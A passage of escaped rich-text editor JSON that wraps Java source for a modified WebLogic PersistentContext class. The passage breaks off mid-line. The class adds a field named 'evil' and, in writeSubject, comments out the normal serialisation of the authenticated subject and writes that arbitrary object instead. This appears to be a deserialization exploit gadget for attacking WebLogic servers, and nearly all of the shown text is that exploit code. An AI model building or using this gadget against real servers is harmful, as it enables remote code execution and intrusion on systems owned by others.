weblogic.security.acl.internal.AuthenticatedSubject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gT3m-1682254539916&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Fl0r-1682254539915&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.PrivilegedActions;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zddy-1682254539918&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ta5d-1682254539917&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.service.SecurityServiceManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GA0h-1682254539920&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tpIU-1682254539919&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.security.subject.SubjectManager;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dMuj-1682254539922&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;o5e8-1682254539921&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.WseeCoreLogger;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hfjX-1682254539924&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cSxa-1682254539923&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.persistence.AbstractStorable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zUOk-1682254539926&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;r9Vx-1682254539925&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//import weblogic.wsee.server.EncryptionUtil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gzXu-1682254539928&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tmzM-1682254539927&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.wsee.jaxws.persistence.EncryptionUtil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;O2Q8-1682254539930&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mBWC-1682254539929&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BuOL-1682254539932&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;LRop-1682254539931&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Aybg-1682254539934&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;biJE-1682254539933&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gHxg-1682254539937&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5uEb-1682254539935&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class PersistentContext extends AbstractStorable {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oYeG-1682254539939&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KeEX-1682254539938&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final long serialVersionUID = 1L;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XceM-1682254539941&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ecqC-1682254539940&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static final AuthenticatedSubject KERNEL_ID = (AuthenticatedSubject)AccessController.doPrivileged(PrivilegedActions.getKernelIdentityAction());&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7fjD-1682254539943&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NEJI-1682254539942&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private transient ReentrantReadWriteLock _lock;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fqzh-1682254539945&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;brvK-1682254539944&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _propertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xc2u-1682254539947&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dEQY-1682254539946&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Set&lt;String&gt; _propBagClassNames;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LEKE-1682254539949&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YPqO-1682254539948&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _contextPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sMz8-1682254539951&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OXEg-1682254539950&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Map&lt;String, Serializable&gt; _invocationPropertyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qhdp-1682254539953&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dNVj-1682254539952&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private AuthenticatedSubject _subject;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tq0u-1682254539955&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4xre-1682254539954&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private PersistentContext.State _state;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7uza-1682254539957&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4TvY-1682254539956&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private Object evil;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;qBwe-1682254539959&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p2xU-1682254539958&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Yotk-1682254539961&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Bqky-1682254539960&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static PersistentContextStore getStoreMap(String var0) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SOs9-1682254539963&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jEj3-1682254539962&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;JBwD-1682254539965&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;tUOA-1682254539964&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            return PersistentContextStore.getStore(var0);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eiKq-1682254539967&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;u8VC-1682254539966&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception var2) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7nUF-1682254539969&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HFFG-1682254539968&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            throw new RuntimeException(var2.toString(), var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Udqo-1682254539971&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OcUM-1682254539970&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GLu2-1682254539973&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;alGs-1682254539972&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zbKC-1682254539975&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pHcR-1682254539974&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ojmD-1682254539977&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XUf9-1682254539976&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private static AuthenticatedSubject getCurrentSubject() {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;hNPN-1682254539979&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rpRU-1682254539978&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        AuthenticatedSubject var0 = SecurityServiceManager.getCurrentSubject(KERNEL_ID);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GNIV-1682254539981&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;vpw8-1682254539980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return var0;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FB3C-1682254539983&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q2RR-1682254539982&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eWvM-1682254539985&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RNtJ-1682254539984&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;vYOr-1682254539987&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nWzd-1682254539986&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeObject(ObjectOutputStream var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;bmXd-1682254539989&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VFMs-1682254539988&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PYM6-1682254539991&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WFLY-1682254539990&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().lock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EJh3-1682254539993&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Wrt5-1682254539992&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._propertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;54Iv-1682254539995&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5wbl-1682254539994&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._propBagClassNames);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;akDb-1682254539997&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;NIHG-1682254539996&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._contextPropertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yUl1-1682254539999&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;stBX-1682254539998&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._invocationPropertyMap);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;OYvI-1682254540001&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mvcL-1682254540000&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var1.writeObject(this._state);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Evi6-1682254540003&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lUEt-1682254540002&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this.writeSubject(var1);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;iudb-1682254540005&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;akgo-1682254540004&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } finally {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RJRC-1682254540007&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gE0U-1682254540006&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            this._lock.readLock().unlock();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tnL8-1682254540009&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EVtJ-1682254540008&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;drA5-1682254540011&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wnpW-1682254540010&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AdyG-1682254540013&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;V3FY-1682254540012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QBBI-1682254540015&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PziA-1682254540014&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KuXM-1682254540017&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;61o2-1682254540016&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    private void writeSubject(ObjectOutputStream var1) throws IOException {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tAhI-1682254540019&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ijfJ-1682254540018&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ByteArrayOutputStream var2 = new ByteArrayOutputStream();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;66UG-1682254540021&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;TL6L-1682254540020&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        ObjectOutputStream var3 = new ObjectOutputStream(var2);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;D0AQ-1682254540023&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mC7M-1682254540022&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1Xrg-1682254540025&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bxB9-1682254540024&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (SubjectManager.getSubjectManager().isKernelIdentity(this._subject)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Tob3-1682254540027&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;viUV-1682254540026&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    AuthenticatedSubject var4 = (AuthenticatedSubject)SubjectManager.getSubjectManager().getAnonymousSubject();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ba5h-1682254540030&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;54jN-1682254540029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var3.writeObject(var4);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZV9z-1682254540032&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;lVCE-1682254540031&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //} else {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NmHx-1682254540034&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ASDM-1682254540033&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var3.writeObject(this._subject);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lekr-1682254540036&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VWO5-1682254540035&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;msMa-1682254540038&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;VKAd-1682254540037&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PbAn-1682254540040&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;mswP-1682254540039&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            var3.writeObject(this.evil);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0RGc-1682254540042&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FzNn-1682254540041&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        } catch (Exception e) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oQfZ-1682254540044&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5tEJ-1682254540043&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;            e.printStackTrace();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;9XiN-1682254540046&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4883-1682254540045&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;C1Q0-1682254540048&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2Fch-1682254540047&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;owRH-1682254540050&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;OIHQ-1682254540049&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        var3.flush();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7tBP-1682254540052&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;njAg-1682254540051&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        byte[] var5 = var2.toByteArray();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;W64H-1682254540054&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;baVw-1682254540053&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //if (KernelStatus.isServer()) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LIPy-1682254540056&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;kNkZ-1682254540055&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        //    var5 = 